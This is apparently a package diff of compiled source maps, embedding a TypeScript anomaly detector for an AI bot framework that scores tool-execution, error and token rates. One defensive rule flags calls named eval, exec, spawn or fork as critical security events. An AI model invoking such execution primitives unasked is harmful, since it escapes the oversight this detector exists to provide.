AC;gBACH,MAAM,KAAK,GAAG,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC;gBAChC,IAAI,KAAK,EAAE,CAAC;oBACV,SAAS,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;oBACtB,IAAI,CAAC,SAAS,CAAC,KAAK,CAAC,CAAC;gBACxB,CAAC;YACH,CAAC;YAAC,OAAO,KAAK,EAAE,CAAC;gBACf,MAAM,CAAC,KAAK,CAAC,QAAQ,MAAM,UAAU,EAAE,KAAK,CAAC,CAAC;YAChD,CAAC;QACH,CAAC;QAED,SAAS;QACT,KAAK,MAAM,CAAC,SAAS,EAAE,OAAO,CAAC,IAAI,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,EAAE,CAAC;YAC3D,MAAM,OAAO,GAAG,IAAI,CAAC,YAAY,CAAC,OAAO,EAAE,IAAI,CAAC,CAAC;YACjD,IAAI,OAAO,EAAE,CAAC;gBACZ,SAAS,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;gBACxB,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,CAAC;YAC1B,CAAC;QACH,CAAC;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;IAEO,SAAS,CAAC,KAAmB;QACnC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;QACxB,IAAI,IAAI,CAAC,MAAM,CAAC,MAAM,GAAG,eAAe,CAAC,UAAU,EAAE,CAAC;YACpD,IAAI,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC,EAAE,IAAI,CAAC,MAAM,CAAC,MAAM,GAAG,eAAe,CAAC,UAAU,CAAC,CAAC;QACzE,CAAC;QACD,IAAI,CAAC,eAAe,CAAC,KAAK,CAAC,CAAC;IAC9B,CAAC;IAED;;OAEG;IACH,SAAS;QACP,OAAO,CAAC,GAAG,IAAI,CAAC,MAAM,CAAC,CAAC;IAC1B,CAAC;IAED;;OAEG;IACH,eAAe,CAAC,QAAgB,EAAE;QAChC,OAAO,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC;IACnC,CAAC;IAED;;OAEG;IACH,WAAW;QACT,IAAI,CAAC,MAAM,GAAG,EAAE,CAAC;IACnB,CAAC;IAED;;OAEG;IACH,SAAS,CAAC,QAAuC;QAC/C,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAC9B,OAAO,GAAG,EAAE;YACV,MAAM,KAAK,GAAG,IAAI,CAAC,SAAS,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;YAC/C,IAAI,KAAK,GAAG,CAAC,CAAC,EAAE,CAAC;gBACf,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,KAAK,EAAE,CAAC,CAAC,CAAC;YAClC,CAAC;QACH,CAAC,CAAC;IACJ,CAAC;IAED;;OAEG;IACK,YAAY,CAClB,OAAwB,EACxB,IAA6B;QAE7B,MAAM,KAAK,GAAG,IAAI,CAAC,OAAO,CAAC,EAAE,CAAC,CAAC;QAC/B,IAAI,OAAO,KAAK,KAAK,QAAQ,EAAE,CAAC;YAC9B,OAAO,IAAI,CAAC;QACd,CAAC;QAED,MAAM,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,OAAO,CAAC,WAAW,CAAC;QACzC,IAAI,KAAK,IAAI,GAAG,IAAI,KAAK,IAAI,GAAG,EAAE,CAAC;YACjC,OAAO,IAAI,CAAC;QACd,CAAC;QAED,SAAS;QACT,MAAM,SAAS,GAAG,KAAK,GAAG,GAAG;YAC3B,CAAC,CAAC,CAAC,GAAG,GAAG,KAAK,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,CAAC;YAC7B,CAAC,CAAC,CAAC,KAAK,GAAG,GAAG,CAAC,GAAG,CAAC,GAAG,GAAG,GAAG,CAAC,CAAC;QAEhC,eAAe;QACf,IAAI,QAAgD,CAAC;QACrD,IAAI,SAAS,GAAG,GAAG,EAAE,CAAC;YACpB,QAAQ,GAAG,KAAK,CAAC;QACnB,CAAC;aAAM,IAAI,SAAS,GAAG,GAAG,EAAE,CAAC;YAC3B,QAAQ,GAAG,QAAQ,CAAC;QACtB,CAAC;aAAM,IAAI,SAAS,GAAG,GAAG,EAAE,CAAC;YAC3B,QAAQ,GAAG,MAAM,CAAC;QACpB,CAAC;aAAM,CAAC;YACN,QAAQ,GAAG,UAAU,CAAC;QACxB,CAAC;QAED,OAAO;YACL,EAAE,EAAE,WAAW,IAAI,CAAC,GAAG,EAAE,IAAI,IAAI,CAAC,MAAM,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,MAAM,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE;YACtE,SAAS,EAAE,IAAI,CAAC,GAAG,EAAE;YACrB,IAAI,EAAE,UAAU;YAChB,QAAQ;YACR,WAAW,EAAE,SAAS,OAAO,CAAC,IAAI,MAAM,KAAK,YAAY,GAAG,KAAK,GAAG,GAAG;YACvE,IAAI,EAAE;gBACJ,SAAS,EAAE,OAAO,CAAC,EAAE;gBACrB,KAAK;gBACL,WAAW,EAAE,OAAO,CAAC,WAAW;gBAChC,SAAS;aACV;YACD,UAAU,EAAE,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,SAAS,CAAC;YAClC,eAAe,EAAE,MAAM,OAAO,CAAC,IAAI,UAAU;SAC9C,CAAC;IACJ,CAAC;IAED;;OAEG;IACK,eAAe,CAAC,KAAmB;QACzC,KAAK,MAAM,QAAQ,IAAI,IAAI,CAAC,SAAS,EAAE,CAAC;YACtC,IAAI,CAAC;gBACH,QAAQ,CAAC,KAAK,CAAC,CAAC;YAClB,CAAC;YAAC,OAAO,KAAK,EAAE,CAAC;gBACf,MAAM,CAAC,KAAK,CAAC,iBAAiB,EAAE,KAAK,CAAC,CAAC;YACzC,CAAC;QACH,CAAC;IACH,CAAC;;AAGH,kEAAkE;AAElE,MAAM,CAAC,MAAM,yBAAyB,GAAsB;IAC1D;QACE,EAAE,EAAE,qBAAqB;QACzB,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,WAAW;QACxB,QAAQ,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE;QAC3B,WAAW,EAAE,EAAE,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE;QACjC,MAAM,EAAE,GAAG;KACZ;IACD;QACE,EAAE,EAAE,YAAY;QAChB,IAAI,EAAE,KAAK;QACX,WAAW,EAAE,QAAQ;QACrB,QAAQ,EAAE,EAAE,MAAM,EAAE,MAAM,EAAE;QAC5B,WAAW,EAAE,EAAE,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE;QACjC,MAAM,EAAE,GAAG;KACZ;IACD;QACE,EAAE,EAAE,kBAAkB;QACtB,IAAI,EAAE,YAAY;QAClB,WAAW,EAAE,eAAe;QAC5B,QAAQ,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE;QAC3B,WAAW,EAAE,EAAE,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,KAAK,EAAE;QACnC,MAAM,EAAE,GAAG;KACZ;IACD;QACE,EAAE,EAAE,qBAAqB;QACzB,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,UAAU;QACvB,QAAQ,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE;QAC3B,WAAW,EAAE,EAAE,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,CAAC,EAAE;QAC/B,MAAM,EAAE,GAAG;KACZ;CACF,CAAC;AAEF,kEAAkE;AAElE,MAAM,CAAC,MAAM,uBAAuB,GAAoB;IACtD;QACE,EAAE,EAAE,iBAAiB;QACrB,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,aAAa;QAC1B,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YACf,MAAM,SAAS,GAAG,IAAI,CAAC,SAAmB,CAAC;YAC3C,IAAI,SAAS,IAAI,SAAS,GAAG,GAAG,EAAE,CAAC;gBACjC,OAAO;oBACL,EAAE,EAAE,QAAQ,IAAI,CAAC,GAAG,EAAE,EAAE;oBACxB,SAAS,EAAE,IAAI,CAAC,GAAG,EAAE;oBACrB,IAAI,EAAE,WAAW;oBACjB,QAAQ,EAAE,MAAM;oBAChB,WAAW,EAAE,UAAU,CAAC,SAAS,GAAG,GAAG,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,GAAG;oBACtD,IAAI,EAAE,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE;oBACnC,UAAU,EAAE,GAAG;oBACf,eAAe,EAAE,eAAe;iBACjC,CAAC;YACJ,CAAC;YACD,OAAO,IAAI,CAAC;QACd,CAAC;QACD,OAAO,EAAE,IAAI;QACb,QAAQ,EAAE,CAAC;KACZ;IACD;QACE,EAAE,EAAE,uBAAuB;QAC3B,IAAI,EAAE,UAAU;QAChB,WAAW,EAAE,aAAa;QAC1B,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YACf,MAAM,QAAQ,GAAG,IAAI,CAAC,QAAkB,CAAC;YACzC,MAAM,eAAe,GAAG,CAAC,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,CAAC,CAAC;YAE1D,IAAI,QAAQ,IAAI,eAAe,CAAC,QAAQ,CAAC,QAAQ,CAAC,EAAE,CAAC;gBACnD,OAAO;oBACL,EAAE,EAAE,QAAQ,IAAI,CAAC,GAAG,EAAE,EAAE;oBACxB,SAAS,EAAE,IAAI,CAAC,GAAG,EAAE;oBACrB,IAAI,EAAE,UAAU;oBAChB,QAAQ,EAAE,UAAU;oBACpB,WAAW,EAAE,cAAc,QAAQ,EAAE;oBACrC,IAAI,EAAE,EAAE,QAAQ,EAAE,eAAe,EAAE;oBACnC,UAAU,EAAE,IAAI;oBAChB,eAAe,EAAE,eAAe;iBACjC,CAAC;YACJ,CAAC;YACD,OAAO,IAAI,CAAC;QACd,CAAC;QACD,OAAO,EAAE,IAAI;QACb,QAAQ,EAAE,CAAC;KACZ;IACD;QACE,EAAE,EAAE,gBAAgB;QACpB,IAAI,EAAE,QAAQ;QACd,WAAW,EAAE,YAAY;QACzB,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YACf,MAAM,WAAW,GAAG,IAAI,CAAC,WAAqB,CAAC;YAC/C,IAAI,WAAW,IAAI,WAAW,GAAG,IAAI,EAAE,CAAC;gBACtC,OAAO;oBACL,EAAE,EAAE,QAAQ,IAAI,CAAC,GAAG,EAAE,EAAE;oBACxB,SAAS,EAAE,IAAI,CAAC,GAAG,EAAE;oBACrB,IAAI,EAAE,UAAU;oBAChB,QAAQ,EAAE,QAAQ;oBAClB,WAAW,EAAE,WAAW,WAAW,QAAQ;oBAC3C,IAAI,EAAE,EAAE,WAAW,EAAE,SAAS,EAAE,IAAI,EAAE;oBACtC,UAAU,EAAE,GAAG;oBACf,eAAe,EAAE,oBAAoB;iBACtC,CAAC;YACJ,CAAC;YACD,OAAO,IAAI,CAAC;QACd,CAAC;QACD,OAAO,EAAE,IAAI;QACb,QAAQ,EAAE,CAAC;KACZ;CACF,CAAC;AAEF,oFAAoF;AACpF,MAAM,UAAU,4BAA4B;IAC1C,MAAM,QAAQ,GAAG,IAAI,eAAe,EAAE,CAAC;IACvC,KAAK,MAAM,OAAO,IAAI,yBAAyB,EAAE,CAAC;QAChD,QAAQ,CAAC,UAAU,CAAC,OAAO,CAAC,CAAC;IAC/B,CAAC;IACD,KAAK,MAAM,IAAI,IAAI,uBAAuB,EAAE,CAAC;QAC3C,QAAQ,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IACzB,CAAC;IACD,OAAO,QAAQ,CAAC;AAClB,CAAC","sourcesContent":["/**\n * 异常检测模块\n *\n * 提供:\n * - 行为模式分析\n * - 异常检测算法\n * - 实时告警\n * - 自适应阈值\n */\n\nimport { getLogger } from '@zhin.js/logger';\n\nconst logger = getLogger('AnomalyDetector');\n\n// ── 行为模式定义 ──────────────────────────────────────────────────────\n\nexport interface BehaviorPattern {\n /** 模式 ID */\n id: string;\n /** 模式名称 */\n name: string;\n /** 模式描述 */\n description: string;\n /** 模式特征 */\n features: Record<string, number>;\n /** 正常范围 */\n normalRange: {\n min: number;\n max: number;\n };\n /** 权重 */\n weight: number;\n}\n\n// ── 异常事件定义 ──────────────────────────────────────────────────────\n\nexport interface AnomalyEvent {\n /** 事件 ID */\n id: string;\n /** 时间戳 */\n timestamp: number;\n /** 异常类型 */\n type: 'behavior' | 'threshold' | 'pattern' | 'security';\n /** 严重程度 */\n severity: 'low' | 'medium' | 'high' | 'critical';\n /** 描述 */\n description: string;\n /** 相关数据 */\n data: Record<string, unknown>;\n /** 置信度(0-1) */\n confidence: number;\n /** 建议的响应 */\n suggestedAction?: string;\n}\n\n// ── 检测规则定义 ──────────────────────────────────────────────────────\n\nexport interface DetectionRule {\n /** 规则 ID */\n id: string;\n /** 规则名称 */\n name: string;\n /** 规则描述 */\n description: string;\n /** 检测函数 */\n detect: (data: Record<string, unknown>) => AnomalyEvent | null;\n /** 是否启用 */\n enabled: boolean;\n /** 优先级 */\n priority: number;\n}\n\n// ── 异常检测器类 ──────────────────────────────────────────────────────\n\nexport class AnomalyDetector {\n private patterns: Map<string, BehaviorPattern> = new Map();\n private rules: Map<string, DetectionRule> = new Map();\n private events: AnomalyEvent[] = [];\n private listeners: Array<(event: AnomalyEvent) => void> = [];\n private static readonly MAX_EVENTS = 500;\n\n /**\n * 添加行为模式\n */\n addPattern(pattern: BehaviorPattern): void {\n this.patterns.set(pattern.id, pattern);\n }\n\n /**\n * 移除行为模式\n */\n removePattern(id: string): void {\n this.patterns.delete(id);\n }\n\n /**\n * 添加检测规则\n */\n addRule(rule: DetectionRule): void {\n this.rules.set(rule.id, rule);\n }\n\n /**\n * 移除检测规则\n */\n removeRule(id: string): void {\n this.rules.delete(id);\n }\n\n /**\n * 检测异常\n */\n detect(data: Record<string, unknown>): AnomalyEvent[] {\n const anomalies: AnomalyEvent[] = [];\n\n // 运行所有检测规则\n for (const [ruleId, rule] of this.rules.entries()) {\n if (!rule.enabled) {\n continue;\n }\n\n try {\n const event = rule.detect(data);\n if (event) {\n anomalies.push(event);\n this.pushEvent(event);\n }\n } catch (error) {\n logger.error(`Rule ${ruleId} failed:`, error);\n }\n }\n\n // 检查行为模式\n for (const [patternId, pattern] of this.patterns.entries()) {\n const anomaly = this.checkPattern(pattern, data);\n if (anomaly) {\n anomalies.push(anomaly);\n this.pushEvent(anomaly);\n }\n }\n\n return anomalies;\n }\n\n private pushEvent(event: AnomalyEvent): void {\n this.events.push(event);\n if (this.events.length > AnomalyDetector.MAX_EVENTS) {\n this.events.splice(0, this.events.length - AnomalyDetector.MAX_EVENTS);\n }\n this.notifyListeners(event);\n }\n\n /**\n * 获取所有异常事件\n */\n getEvents(): AnomalyEvent[] {\n return [...this.events];\n }\n\n /**\n * 获取最近的异常事件\n */\n getRecentEvents(count: number = 10): AnomalyEvent[] {\n return this.events.slice(-count);\n }\n\n /**\n * 清除事件历史\n */\n clearEvents(): void {\n this.events = [];\n }\n\n /**\n * 添加事件监听器\n */\n onAnomaly(listener: (event: AnomalyEvent) => void): () => void {\n this.listeners.push(listener);\n return () => {\n const index = this.listeners.indexOf(listener);\n if (index > -1) {\n this.listeners.splice(index, 1);\n }\n };\n }\n\n /**\n * 检查行为模式\n */\n private checkPattern(\n pattern: BehaviorPattern,\n data: Record<string, unknown>,\n ): AnomalyEvent | null {\n const value = data[pattern.id];\n if (typeof value !== 'number') {\n return null;\n }\n\n const { min, max } = pattern.normalRange;\n if (value >= min && value <= max) {\n return null;\n }\n\n // 计算偏离程度\n const deviation = value < min\n ? (min - value) / (max - min)\n : (value - max) / (max - min);\n\n // 根据偏离程度确定严重程度\n let severity: 'low' | 'medium' | 'high' | 'critical';\n if (deviation < 0.2) {\n severity = 'low';\n } else if (deviation < 0.5) {\n severity = 'medium';\n } else if (deviation < 1.0) {\n severity = 'high';\n } else {\n severity = 'critical';\n }\n\n return {\n id: `anomaly-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,\n timestamp: Date.now(),\n type: 'behavior',\n severity,\n description: `行为异常: ${pattern.name} 值 ${value} 超出正常范围 [${min}, ${max}]`,\n data: {\n patternId: pattern.id,\n value,\n normalRange: pattern.normalRange,\n deviation,\n },\n confidence: Math.min(1, deviation),\n suggestedAction: `检查 ${pattern.name} 相关的系统状态`,\n };\n }\n\n /**\n * 通知监听器\n */\n private notifyListeners(event: AnomalyEvent): void {\n for (const listener of this.listeners) {\n try {\n listener(event);\n } catch (error) {\n logger.error('Listener error:', error);\n }\n }\n }\n}\n\n// ── 预定义行为模式 ────────────────────────────────────────────────────\n\nexport const DEFAULT_BEHAVIOR_PATTERNS: BehaviorPattern[] = [\n {\n id: 'tool_execution_rate',\n name: '工具执行速率',\n description: '每分钟工具执行次数',\n features: { window: 60000 },\n normalRange: { min: 0, max: 100 },\n weight: 1.0,\n },\n {\n id: 'error_rate',\n name: '错误率',\n description: '错误请求占比',\n features: { window: 300000 },\n normalRange: { min: 0, max: 0.1 },\n weight: 2.0,\n },\n {\n id: 'token_usage_rate',\n name: 'Token 使用速率',\n description: '每分钟 Token 使用量',\n features: { window: 60000 },\n normalRange: { min: 0, max: 10000 },\n weight: 1.5,\n },\n {\n id: 'security_event_rate',\n name: '安全事件速率',\n description: '每分钟安全事件数',\n features: { window: 60000 },\n normalRange: { min: 0, max: 5 },\n weight: 3.0,\n },\n];\n\n// ── 预定义检测规则 ────────────────────────────────────────────────────\n\nexport const DEFAULT_DETECTION_RULES: DetectionRule[] = [\n {\n id: 'high_error_rate',\n name: '高错误率检测',\n description: '检测错误率是否超过阈值',\n detect: (data) => {\n const errorRate = data.errorRate as number;\n if (errorRate && errorRate > 0.5) {\n return {\n id: `rule-${Date.now()}`,\n timestamp: Date.now(),\n type: 'threshold',\n severity: 'high',\n description: `错误率过高: ${(errorRate * 100).toFixed(1)}%`,\n data: { errorRate, threshold: 0.5 },\n confidence: 0.9,\n suggestedAction: '检查系统日志,找出错误原因',\n };\n }\n return null;\n },\n enabled: true,\n priority: 1,\n },\n {\n id: 'suspicious_tool_usage',\n name: '可疑工具使用检测',\n description: '检测可疑的工具使用模式',\n detect: (data) => {\n const toolName = data.toolName as string;\n const suspiciousTools = ['eval', 'exec', 'spawn', 'fork'];\n\n if (toolName && suspiciousTools.includes(toolName)) {\n return {\n id: `rule-${Date.now()}`,\n timestamp: Date.now(),\n type: 'security',\n severity: 'critical',\n description: `检测到可疑工具使用: ${toolName}`,\n data: { toolName, suspiciousTools },\n confidence: 0.95,\n suggestedAction: '立即审查该工具调用的合法性',\n };\n }\n return null;\n },\n enabled: true,\n priority: 0,\n },\n {\n id: 'rapid_requests',\n name: '快速请求检测',\n description: '检测请求频率是否异常',\n detect: (data) => {\n const requestRate = data.requestRate as number;\n if (requestRate && requestRate > 1000) {\n return {\n id: `rule-${Date.now()}`,\n timestamp: Date.now(),\n type: 'behavior',\n severity: 'medium',\n description: `请求频率异常: ${requestRate} 请求/分钟`,\n data: { requestRate, threshold: 1000 },\n confidence: 0.8,\n suggestedAction: '检查是否有 DDoS 攻击或滥用行为',\n };\n }\n return null;\n },\n enabled: true,\n priority: 2,\n },\n];\n\n/** Creates an isolated detector with the framework's default patterns and rules. */\nexport function createDefaultAnomalyDetector(): AnomalyDetector {\n const detector = new AnomalyDetector();\n for (const pattern of DEFAULT_BEHAVIOR_PATTERNS) {\n detector.addPattern(pattern);\n }\n for (const rule of DEFAULT_DETECTION_RULES) {\n detector.addRule(rule);\n }\n return detector;\n}\n"]}
@@ -158,4 +158,3 @@ export declare class AuditLogger {
158
158
  */
159
159
  close(): Promise<void>;
160
160
  }
161
- //# sourceMappingURL=audit-logger.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"audit-logger.js","sourceRoot":"","sources":["../../src/security/audit-logger.ts"],"names":[],"mappings":"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